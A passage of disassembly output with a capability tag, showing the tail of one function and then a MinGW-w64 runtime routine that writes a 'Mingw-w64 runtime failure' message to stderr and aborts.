jne 0x140004722
lea rcx, [0x140012300]
call fcn.1400034d1
nop
add rsp, 0x30
pop rbx
jmp 0x140003876
sub rsp, 0x28
call fcn.1400046b4
nop
add rsp, 0x28
jmp 0x1400046d6

Function at 0x140004a70
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.ucrtbase.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.ucrtbase.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.14000b7d0
call sub.ucrtbase.dll_abort
nop